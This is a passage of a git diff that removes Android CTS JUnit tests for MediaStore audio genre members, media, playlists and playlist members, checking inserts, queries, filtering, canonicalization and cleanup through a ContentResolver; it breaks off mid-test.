-        Uri membersUri = Members.getContentUri(mVolumeName, genreId);
-        assertNotNull(mContentResolver.insert(membersUri, values));
-
-        try {
-            // query, slow path
-            c = mContentResolver.query(membersUri, null, null, null, null);
-
-            assertEquals(1, c.getCount());
-            c.moveToFirst();
-
-            assertEquals(mAudioIdOfJam, c.getLong(c.getColumnIndex(Members.AUDIO_ID)));
-            assertEquals(genreId, c.getLong(c.getColumnIndex(Members.GENRE_ID)));
-            assertEquals(mAudioIdOfJam, c.getLong(c.getColumnIndex(Members._ID)));
-            final String expected1 = Audio1.getInstance().getContentValues(mVolumeName)
-                    .getAsString(Members.DATA);
-            assertEquals(expected1, c.getString(c.getColumnIndex(Members.DATA)));
-            assertTrue(c.getLong(c.getColumnIndex(Members.DATE_ADDED)) > 0);
-            assertEquals(Audio1.DATE_MODIFIED, c.getLong(c.getColumnIndex(Members.DATE_MODIFIED)));
-            assertEquals(Audio1.DISPLAY_NAME, c.getString(c.getColumnIndex(Members.DISPLAY_NAME)));
-            assertEquals(Audio1.MIME_TYPE, c.getString(c.getColumnIndex(Members.MIME_TYPE)));
-            assertEquals(Audio1.SIZE, c.getInt(c.getColumnIndex(Members.SIZE)));
-            assertEquals(Audio1.TITLE, c.getString(c.getColumnIndex(Members.TITLE)));
-            assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Members.ALBUM)));
-            String albumKey = c.getString(c.getColumnIndex(Members.ALBUM_KEY));
-            assertNotNull(albumKey);
-            long albumId = c.getLong(c.getColumnIndex(Members.ALBUM_ID));
-            assertTrue(albumId > 0);
-            assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Members.ARTIST)));
-            String artistKey = c.getString(c.getColumnIndex(Members.ARTIST_KEY));
-            assertNotNull(artistKey);
-            long artistId = c.getLong(c.getColumnIndex(Members.ARTIST_ID));
-            assertTrue(artistId > 0);
-            assertEquals(Audio1.COMPOSER, c.getString(c.getColumnIndex(Members.COMPOSER)));
-            assertEquals(Audio1.DURATION, c.getLong(c.getColumnIndex(Members.DURATION)));
-            assertEquals(Audio1.IS_ALARM, c.getInt(c.getColumnIndex(Members.IS_ALARM)));
-            assertEquals(Audio1.IS_MUSIC, c.getInt(c.getColumnIndex(Members.IS_MUSIC)));
-            assertEquals(Audio1.IS_NOTIFICATION,
-                    c.getInt(c.getColumnIndex(Members.IS_NOTIFICATION)));
-            assertEquals(Audio1.IS_RINGTONE, c.getInt(c.getColumnIndex(Members.IS_RINGTONE)));
-            assertEquals(Audio1.TRACK, c.getInt(c.getColumnIndex(Members.TRACK)));
-            assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Members.YEAR)));
-            String titleKey = c.getString(c.getColumnIndex(Members.TITLE_KEY));
-            assertNotNull(titleKey);
-            c.close();
-
-            // query again, fast path
-            c = mContentResolver.query(membersUri,
-                    new String[] { Members.AUDIO_ID, Members.GENRE_ID},
-                    null, null, null);
-            assertEquals(1, c.getCount());
-            c.moveToFirst();
-            assertEquals(mAudioIdOfJam, c.getLong(c.getColumnIndex(Members.AUDIO_ID)));
-            assertEquals(genreId, c.getLong(c.getColumnIndex(Members.GENRE_ID)));
-            c.close();
-
-            // Query with a constraint on _id. Note that _id corresponds to the _id
-            // column in the audio table, not the one in the audio_genres_map table.
-            // We need to preserve this behavior for backward compatibility.
-            c = mContentResolver.query(membersUri, null,
-                    Members._ID + "=?", new String[] {Long.toString(mAudioIdOfJam)}, null);
-            assertEquals(1, c.getCount());
-            c.moveToFirst();
-            assertEquals(mAudioIdOfJam, c.getLong(c.getColumnIndex(Members._ID)));
-            c.close();
-
-            // Query members across all genres
-            // TODO: migrate this to using public API
-            Uri allMembersUri = MediaStore.Audio.Genres.getContentUri(mVolumeName).buildUpon()
-                    .appendPath("all").appendPath("members").build();
-            c = mContentResolver.query(allMembersUri, null, null, null, null);
-            int colidx = c.getColumnIndex(Members.AUDIO_ID);
-            int jamcnt = 0;
-            // The song should appear only once, for the genre we used when inserting it
-            while(c.moveToNext()) {
-                if (c.getLong(colidx) == mAudioIdOfJam) {
-                    jamcnt++;
-                    assertEquals(genreId, c.getLong(c.getColumnIndex(Members.GENRE_ID)));
-                }
-            }
-            assertEquals(1, jamcnt);
-            c.close();
-
-            // Query the same Uri, but add a where clause to restrict it to the one entry we added
-            c = mContentResolver.query(allMembersUri, null,
-                    Members.AUDIO_ID + "=?", new String[] {Long.toString(mAudioIdOfJam)}, null);
-            assertEquals(1, c.getCount());
-            c.moveToFirst();
-            assertEquals(genreId, c.getLong(c.getColumnIndex(Members.GENRE_ID)));
-            assertEquals(mAudioIdOfJam, c.getLong(c.getColumnIndex(Members.AUDIO_ID)));
-            c.close();
-
-            // create another genre
-            values.clear();
-            values.put(Genres.NAME, Audio1.GENRE + "-2");
-            uri = mContentResolver.insert(Genres.getContentUri(mVolumeName), values);
-            c = mContentResolver.query(uri, null, null, null, null);
-            c.moveToFirst();
-            genre2Id = c.getLong(c.getColumnIndex(Genres._ID));
-            c.close();
-
-            // insert the song into the second genre
-            values.clear();
-            values.put(Members.AUDIO_ID, mAudioIdOfJam);
-            Uri members2Uri = Members.getContentUri(mVolumeName, genre2Id);
-            assertNotNull(mContentResolver.insert(members2Uri, values));
-
-            // Query members across all genres again
-            c = mContentResolver.query(allMembersUri, null, null, null, null);
-            colidx = c.getColumnIndex(Members.AUDIO_ID);
-            int jamcnt1 = 0;
-            int jamcnt2 = 0;
-            // This time the song should appear twice, once for each genre
-            while(c.moveToNext()) {
-                if (c.getLong(colidx) == mAudioIdOfJam) {
-                    long g = c.getLong(c.getColumnIndex(Members.GENRE_ID));
-                    if (g == genreId) {
-                        jamcnt1++;
-                    } else if (g == genre2Id) {
-                        jamcnt2++;
-                    } else {
-                        fail("wrong genre found");
-                    }
-                }
-            }
-            assertEquals(1, jamcnt1);
-            assertEquals(1, jamcnt2);
-            c.close();
-
-            // Delete the members, note that this does not delete the genre itself
-            assertEquals(1, mContentResolver.delete(membersUri, null, null)); // check number of rows deleted
-
-            // verify the genre is now empty
-            c = mContentResolver.query(membersUri, null, null, null, null);
-            assertEquals(0, c.getCount());
-            c.close();
-
-            // same for 2nd genre
-            assertEquals(1, mContentResolver.delete(members2Uri, null, null));
-            c = mContentResolver.query(members2Uri, null, null, null, null);
-            assertEquals(0, c.getCount());
-            c.close();
-
-            // insert again, then verify that deleting the audio entry cleans up its genre member
-            // entry as well
-            values.put(Members.AUDIO_ID, mAudioIdOfJam);
-            membersUri = Members.getContentUri(mVolumeName, genreId);
-            assertNotNull(mContentResolver.insert(membersUri, values));
-            // Query members across all genres
-            c = mContentResolver.query(allMembersUri,
-                    new String[] { Members.AUDIO_ID, Members.GENRE_ID}, null, null, null);
-            colidx = c.getColumnIndex(Members.AUDIO_ID);
-            jamcnt = 0;
-            // The song should appear only once, for the genre we used when inserting it
-            while(c.moveToNext()) {
-                if (c.getLong(colidx) == mAudioIdOfJam) {
-                    jamcnt++;
-                    assertEquals(genreId, c.getLong(c.getColumnIndex(Members.GENRE_ID)));
-                }
-            }
-            assertEquals(1, jamcnt);
-            c.close();
-            mContentResolver.delete(Media.getContentUri(mVolumeName),
-                    Media._ID + "=" + mAudioIdOfJam, null);
-            // Query members across all genres
-            c = mContentResolver.query(allMembersUri,
-                    new String[] { Members.AUDIO_ID, Members.GENRE_ID}, null, null, null);
-            colidx = c.getColumnIndex(Members.AUDIO_ID);
-            jamcnt = 0;
-            // The song should no longer appear in the genre
-            while(c.moveToNext()) {
-                if (c.getLong(colidx) == mAudioIdOfJam) {
-                    jamcnt++;
-                }
-            }
-            assertEquals(0, jamcnt);
-            c.close();
-        } finally {
-            // the members are deleted when deleting the genre which they belong to
-            mContentResolver.delete(Genres.getContentUri(mVolumeName),
-                    Genres._ID + "=" + genreId, null);
-            if (genre2Id >= 0) {
-                mContentResolver.delete(Genres.getContentUri(mVolumeName),
-                        Genres._ID + "=" + genre2Id, null);
-            }
-            c = mContentResolver.query(membersUri, null, null, null, null);
-            assertEquals(0, c.getCount());
-            c.close();
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java
deleted file mode 100644
index 4a8afe7..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java
+++ /dev/null
@@ -1,203 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.Environment;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Audio.Media;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Audio_MediaTest {
-    private Context mContext;
-    private ContentResolver mContentResolver;
-
-    private Uri mExternalAudio;
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    @Parameters
-    public static Iterable<? extends Object> data() {
-        return ProviderTestUtils.getSharedVolumeNames();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mContentResolver = mContext.getContentResolver();
-
-        Log.d(TAG, "Using volume " + mVolumeName);
-        mExternalAudio = MediaStore.Audio.Media.getContentUri(mVolumeName);
-    }
-
-    @Test
-    public void testGetContentUri() {
-        Cursor c = null;
-        assertNotNull(c = mContentResolver.query(
-                Media.getContentUri(mVolumeName), null, null,
-                    null, null));
-        c.close();
-    }
-
-    @Test
-    public void testGetContentUriForPath() {
-        Cursor c = null;
-        String externalPath = Environment.getExternalStorageDirectory().getPath();
-        assertNotNull(c = mContentResolver.query(Media.getContentUriForPath(externalPath), null, null,
-                null, null));
-        c.close();
-
-        String internalPath = mContext.getFilesDir().getAbsolutePath();
-        assertNotNull(c = mContentResolver.query(Media.getContentUriForPath(internalPath), null, null,
-                null, null));
-        c.close();
-    }
-
-    @Test
-    public void testStoreAudioMedia() {
-        Audio1 audio1 = Audio1.getInstance();
-        ContentValues values = audio1.getContentValues(mVolumeName);
-        //insert
-        Uri mediaUri = Media.getContentUri(mVolumeName);
-        Uri uri = mContentResolver.insert(mediaUri, values);
-        assertNotNull(uri);
-
-        try {
-            // query
-            // the following columns in the table are generated automatically when inserting:
-            // _ID, DATE_ADDED, ALBUM_ID, ALBUM_KEY, ARTIST_ID, ARTIST_KEY, TITLE_KEY
-            // the column DISPLAY_NAME will be ignored when inserting
-            Cursor c = mContentResolver.query(uri, null, null, null, null);
-            assertEquals(1, c.getCount());
-            c.moveToFirst();
-            long id = c.getLong(c.getColumnIndex(Media._ID));
-            assertTrue(id > 0);
-            String expected = audio1.getContentValues(mVolumeName).getAsString(Media.DATA);
-            assertEquals(expected, c.getString(c.getColumnIndex(Media.DATA)));
-            assertTrue(c.getLong(c.getColumnIndex(Media.DATE_ADDED)) > 0);
-            assertEquals(Audio1.DATE_MODIFIED, c.getLong(c.getColumnIndex(Media.DATE_MODIFIED)));
-            assertEquals(Audio1.DISPLAY_NAME, c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
-            assertEquals(Audio1.MIME_TYPE, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
-            assertEquals(Audio1.SIZE, c.getInt(c.getColumnIndex(Media.SIZE)));
-            assertEquals(Audio1.TITLE, c.getString(c.getColumnIndex(Media.TITLE)));
-            assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Media.ALBUM)));
-            String albumKey = c.getString(c.getColumnIndex(Media.ALBUM_KEY));
-            assertNotNull(albumKey);
-            long albumId = c.getLong(c.getColumnIndex(Media.ALBUM_ID));
-            assertTrue(albumId > 0);
-            assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Media.ARTIST)));
-            String artistKey = c.getString(c.getColumnIndex(Media.ARTIST_KEY));
-            assertNotNull(artistKey);
-            long artistId = c.getLong(c.getColumnIndex(Media.ARTIST_ID));
-            assertTrue(artistId > 0);
-            assertEquals(Audio1.COMPOSER, c.getString(c.getColumnIndex(Media.COMPOSER)));
-            assertEquals(Audio1.DURATION, c.getLong(c.getColumnIndex(Media.DURATION)));
-            assertEquals(Audio1.IS_ALARM, c.getInt(c.getColumnIndex(Media.IS_ALARM)));
-            assertEquals(Audio1.IS_MUSIC, c.getInt(c.getColumnIndex(Media.IS_MUSIC)));
-            assertEquals(Audio1.IS_NOTIFICATION, c.getInt(c.getColumnIndex(Media.IS_NOTIFICATION)));
-            assertEquals(Audio1.IS_RINGTONE, c.getInt(c.getColumnIndex(Media.IS_RINGTONE)));
-            assertEquals(Audio1.TRACK, c.getInt(c.getColumnIndex(Media.TRACK)));
-            assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Media.YEAR)));
-            String titleKey = c.getString(c.getColumnIndex(Media.TITLE_KEY));
-            assertNotNull(titleKey);
-            c.close();
-
-            // test filtering
-            Uri baseUri = Media.getContentUri(mVolumeName);
-            Uri filterUri = baseUri.buildUpon()
-                .appendQueryParameter("filter", Audio1.ARTIST).build();
-            c = mContentResolver.query(filterUri, null, null, null, null);
-            assertEquals(1, c.getCount());
-            c.moveToFirst();
-            long fid = c.getLong(c.getColumnIndex(Media._ID));
-            assertTrue(id == fid);
-            c.close();
-
-            filterUri = baseUri.buildUpon().appendQueryParameter("filter", "xyzfoo").build();
-            c = mContentResolver.query(filterUri, null, null, null, null);
-            assertEquals(0, c.getCount());
-            c.close();
-        } finally {
-            // delete
-            int result = mContentResolver.delete(uri, null, null);
-            assertEquals(1, result);
-        }
-    }
-
-    @Test
-    public void testCanonicalize() throws Exception {
-        // Remove all audio left over from other tests
-        ProviderTestUtils.executeShellCommand("content delete"
-                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
-                + " --uri " + mExternalAudio,
-                InstrumentationRegistry.getInstrumentation().getUiAutomation());
-
-        // Publish some content
-        final File dir = ProviderTestUtils.stageDir(mVolumeName);
-        final Uri a = ProviderTestUtils.scanFileFromShell(
-                ProviderTestUtils.stageFile(R.raw.testmp3_2, new File(dir, "a.mp3")));
-        final Uri b = ProviderTestUtils.scanFileFromShell(
-                ProviderTestUtils.stageFile(R.raw.testmp3, new File(dir, "b.mp3")));
-        final Uri c = ProviderTestUtils.scanFileFromShell(
-                ProviderTestUtils.stageFile(R.raw.testmp3_2, new File(dir, "c.mp3")));
-
-        // Confirm we can canonicalize and recover it
-        final Uri canonicalized = mContentResolver.canonicalize(b);
-        assertNotNull(canonicalized);
-        assertEquals(b, mContentResolver.uncanonicalize(canonicalized));
-
-        // Delete all items above
-        mContentResolver.delete(a, null, null);
-        mContentResolver.delete(b, null, null);
-        mContentResolver.delete(c, null, null);
-
-        // Confirm canonical item isn't found
-        assertNull(mContentResolver.uncanonicalize(canonicalized));
-
-        // Publish data again and confirm we can recover it
-        final Uri d = ProviderTestUtils.scanFileFromShell(
-                ProviderTestUtils.stageFile(R.raw.testmp3, new File(dir, "d.mp3")));
-        assertEquals(d, mContentResolver.uncanonicalize(canonicalized));
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_PlaylistsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_PlaylistsTest.java
deleted file mode 100644
index 78cbef0..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_PlaylistsTest.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.database.SQLException;
-import android.net.Uri;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore.Audio.Playlists;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Audio_PlaylistsTest {
-    private Context mContext;
-    private ContentResolver mContentResolver;
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    @Parameters
-    public static Iterable<? extends Object> data() {
-        return ProviderTestUtils.getSharedVolumeNames();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mContentResolver = mContext.getContentResolver();
-
-        Log.d(TAG, "Using volume " + mVolumeName);
-    }
-
-    @Test
-    public void testGetContentUri() {
-        Cursor c = null;
-        assertNotNull(c = mContentResolver.query(
-                Playlists.getContentUri(mVolumeName), null, null,
-                null, null));
-        c.close();
-    }
-
-    @Test
-    public void testStoreAudioPlaylistsExternal() throws Exception {
-        final String externalPlaylistPath = new File(ProviderTestUtils.stageDir(mVolumeName),
-                "my_favorites.pl").getAbsolutePath();
-        ContentValues values = new ContentValues();
-        values.put(Playlists.NAME, "My favourites");
-        values.put(Playlists.DATA, externalPlaylistPath);
-        long dateAdded = System.currentTimeMillis() / 1000;
-        long dateModified = System.currentTimeMillis() / 1000;
-        values.put(Playlists.DATE_MODIFIED, dateModified);
-        // insert
-        Uri uri = mContentResolver.insert(Playlists.getContentUri(mVolumeName), values);
-        assertNotNull(uri);
-
-        try {
-            // query
-            Cursor c = mContentResolver.query(uri, null, null, null, null);
-            assertEquals(1, c.getCount());
-            c.moveToFirst();
-            assertEquals("My favourites", c.getString(c.getColumnIndex(Playlists.NAME)));
-            assertEquals(externalPlaylistPath,
-                    c.getString(c.getColumnIndex(Playlists.DATA)));
-
-            long realDateAdded = c.getLong(c.getColumnIndex(Playlists.DATE_ADDED));
-            assertTrue(realDateAdded >= dateAdded);
-            assertEquals(dateModified, c.getLong(c.getColumnIndex(Playlists.DATE_MODIFIED)));
-            assertTrue(c.getLong(c.getColumnIndex(Playlists._ID)) > 0);
-            c.close();
-        } finally {
-            assertEquals(1, mContentResolver.delete(uri, null, null));
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Playlists_MembersTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Playlists_MembersTest.java
deleted file mode 100644
index 0db80d9..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Playlists_MembersTest.java
+++ /dev/null
@@ -1,487 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.net.Uri;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Audio.Media;
-import android.provider.MediaStore.Audio.Playlists;
-import android.provider.MediaStore.Audio.Playlists.Members;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio3;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio4;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio5;
-import android.provider.cts.MediaStoreAudioTestHelper.MockAudioMediaInfo;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Audio_Playlists_MembersTest {
-    private String[] mAudioProjection = {
-            Members._ID,
-            Members.ALBUM,
-            Members.ALBUM_ID,
-            Members.ALBUM_KEY,
-            Members.ARTIST,
-            Members.ARTIST_ID,
-            Members.ARTIST_KEY,
-            Members.COMPOSER,
-            Members.DATA,
-            Members.DATE_ADDED,
-            Members.DATE_MODIFIED,
-            Members.DISPLAY_NAME,
-            Members.DURATION,
-            Members.IS_ALARM,
-            Members.IS_MUSIC,
-            Members.IS_NOTIFICATION,
-            Members.IS_RINGTONE,
-            Members.MIME_TYPE,
-            Members.SIZE,
-            Members.TITLE,
-            Members.TITLE_KEY,
-            Members.TRACK,
-            Members.YEAR,
-    };
-
-    private String[] mMembersProjection = {
-            Members._ID,
-            Members.AUDIO_ID,
-            Members.PLAYLIST_ID,
-            Members.PLAY_ORDER,
-            Members.ALBUM,
-            Members.ALBUM_ID,
-            Members.ALBUM_KEY,
-            Members.ARTIST,
-            Members.ARTIST_ID,
-            Members.ARTIST_KEY,
-            Members.COMPOSER,
-            Members.DATA,
-            Members.DATE_ADDED,
-            Members.DATE_MODIFIED,
-            Members.DISPLAY_NAME,
-            Members.DURATION,
-            Members.IS_ALARM,
-            Members.IS_MUSIC,
-            Members.IS_NOTIFICATION,
-            Members.IS_RINGTONE,
-            Members.MIME_TYPE,
-            Members.SIZE,
-            Members.TITLE,
-            Members.TITLE_KEY,
-            Members.TRACK,
-            Members.YEAR,
-    };
-
-    private Context mContext;
-    private ContentResolver mContentResolver;
-
-    private long mIdOfAudio1;
-    private long mIdOfAudio2;
-    private long mIdOfAudio3;
-    private long mIdOfAudio4;
-    private long mIdOfAudio5;
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    @Parameters
-    public static Iterable<? extends Object> data() {
-        return ProviderTestUtils.getSharedVolumeNames();
-    }
-
-    private long insertAudioItem(MockAudioMediaInfo which) {
-        Uri uri = which.insert(mContentResolver, mVolumeName);
-        Cursor c = mContentResolver.query(uri, null, null, null, null);
-        c.moveToFirst();
-        long id = c.getLong(c.getColumnIndex(Media._ID));
-        c.close();
-        return id;
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mContentResolver = mContext.getContentResolver();
-
-        Log.d(TAG, "Using volume " + mVolumeName);
-
-        mIdOfAudio1 = insertAudioItem(Audio1.getInstance());
-        mIdOfAudio2 = insertAudioItem(Audio2.getInstance());
-        mIdOfAudio3 = insertAudioItem(Audio3.getInstance());
-        mIdOfAudio4 = insertAudioItem(Audio4.getInstance());
-        mIdOfAudio5 = insertAudioItem(Audio5.getInstance());
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        final Uri uri = Media.getContentUri(mVolumeName);
-        mContentResolver.delete(uri, Media._ID + "=" + mIdOfAudio1, null);
-        mContentResolver.delete(uri, Media._ID + "=" + mIdOfAudio2, null);
-        mContentResolver.delete(uri, Media._ID + "=" + mIdOfAudio3, null);
-        mContentResolver.delete(uri, Media._ID + "=" + mIdOfAudio4, null);
-        mContentResolver.delete(uri, Media._ID + "=" + mIdOfAudio5, null);
-    }
-
-    @Test
-    public void testGetContentUri() {
-        assertEquals("content://media/external/audio/playlists/1337/members",
-                Members.getContentUri("external", 1337).toString());
-        assertEquals("content://media/internal/audio/playlists/3007/members",
-                Members.getContentUri("internal", 3007).toString());
-    }
-
-    private Uri insertPlaylistItem(Uri playlistMembersUri, long itemid, int order) {
-        ContentValues values = new ContentValues();
-        values.put(Members.AUDIO_ID, itemid);
-        values.put(Members.PLAY_ORDER, order);
-        return mContentResolver.insert(playlistMembersUri, values);
-    }
-
-    /**
-     * check that the specified playlist contains the given members in the given order
-     */
-    private void verifyPlaylist(Uri playlistMembersUri, long [] members, int [] ordering) {
-        Cursor c = mContentResolver.query(playlistMembersUri,
-                new String[] { Members.AUDIO_ID, Members.PLAY_ORDER },
-                null, null, // selection, selection args
-                Members.PLAY_ORDER);
-        assertFalse("neither members nor ordering specified",
-                members == null && ordering == null);
-        if (members != null) {
-            assertEquals("members length doesn't match cursor length",
-                    members.length, c.getCount());
-            if (ordering != null) {
-                assertEquals("members and ordering must have same length",
-                        members.length, ordering.length);
-            }
-        }
-        if (ordering != null) {
-            assertEquals("ordering length doesn't match cursor length",
-                    ordering.length, c.getCount());
-        }
-        while (c.moveToNext()) {
-            int pos = c.getPosition();
-            if (members != null) {
-                assertEquals("mismatched member at position " + pos,
-                        members[pos], c.getInt(c.getColumnIndex(Members.AUDIO_ID)));
-            }
-            if (ordering != null) {
-                assertEquals("mismatched ordering at position " + pos,
-                        ordering[pos], c.getInt(c.getColumnIndex(Members.PLAY_ORDER)));
-            }
-        }
-        c.close();
-    }
-
-    @Test
-    public void testStoreAudioPlaylistsMembersExternal() {
-        // TODO: expand test to verify paths from secondary storage devices
-        if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
-
-        ContentValues values = new ContentValues();
-        values.put(Playlists.NAME, "My favourites");
-        values.put(Playlists.DATA, "");
-        long dateAdded = System.currentTimeMillis();
-        values.put(Playlists.DATE_ADDED, dateAdded);
-        long dateModified = System.currentTimeMillis();
-        values.put(Playlists.DATE_MODIFIED, dateModified);
-        // insert
-        Uri uri = mContentResolver.insert(Playlists.getContentUri(mVolumeName), values);
-        assertNotNull(uri);
-        Cursor c = mContentResolver.query(uri, null, null, null, null);
-        c.moveToFirst();
-        long playlistId = c.getLong(c.getColumnIndex(Playlists._ID));
-        long playlist2Id = -1; // used later
-
-        // verify that the Uri has the correct format and playlist value
-        assertEquals(ContentUris.withAppendedId(Playlists.getContentUri(mVolumeName), playlistId),
-                uri);
-
-        // insert audio as the member of the playlist
-        Uri membersUri = Members.getContentUri(mVolumeName, playlistId);
-        Uri audioUri = insertPlaylistItem(membersUri, mIdOfAudio1, 1);
-
-        assertNotNull(audioUri);
-        assertTrue(audioUri.toString().startsWith(membersUri.toString()));
-
-        try {
-            // query the audio info
-            c = mContentResolver.query(audioUri, mAudioProjection, null, null, null);
-            assertEquals(1, c.getCount());
-            c.moveToFirst();
-            long memberId = c.getLong(c.getColumnIndex(Members._ID));
-            assertEquals(memberId, Long.parseLong(audioUri.getPathSegments().get(5)));
-            final String expected1 = Audio1.getInstance().getContentValues(mVolumeName)
-                    .getAsString(Members.DATA);
-            assertEquals(expected1, c.getString(c.getColumnIndex(Members.DATA)));
-            assertTrue(c.getLong(c.getColumnIndex(Members.DATE_ADDED)) > 0);
-            assertEquals(Audio1.DATE_MODIFIED, c.getLong(c.getColumnIndex(Members.DATE_MODIFIED)));
-            assertEquals(Audio1.DISPLAY_NAME, c.getString(c.getColumnIndex(Members.DISPLAY_NAME)));
-            assertEquals(Audio1.MIME_TYPE, c.getString(c.getColumnIndex(Members.MIME_TYPE)));
-            assertEquals(Audio1.SIZE, c.getInt(c.getColumnIndex(Members.SIZE)));
-            assertEquals(Audio1.TITLE, c.getString(c.getColumnIndex(Members.TITLE)));
-            assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Members.ALBUM)));
-            assertNotNull(c.getString(c.getColumnIndex(Members.ALBUM_KEY)));
-            assertTrue(c.getLong(c.getColumnIndex(Members.ALBUM_ID)) > 0);
-            assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Members.ARTIST)));
-            assertNotNull(c.getString(c.getColumnIndex(Members.ARTIST_KEY)));
-            assertTrue(c.getLong(c.getColumnIndex(Members.ARTIST_ID)) > 0);
-            assertEquals(Audio1.COMPOSER, c.getString(c.getColumnIndex(Members.COMPOSER)));
-            assertEquals(Audio1.DURATION, c.getLong(c.getColumnIndex(Members.DURATION)));
-            assertEquals(Audio1.IS_ALARM, c.getInt(c.getColumnIndex(Members.IS_ALARM)));
-            assertEquals(Audio1.IS_MUSIC, c.getInt(c.getColumnIndex(Members.IS_MUSIC)));
-            assertEquals(Audio1.IS_NOTIFICATION,
-                    c.getInt(c.getColumnIndex(Members.IS_NOTIFICATION)));
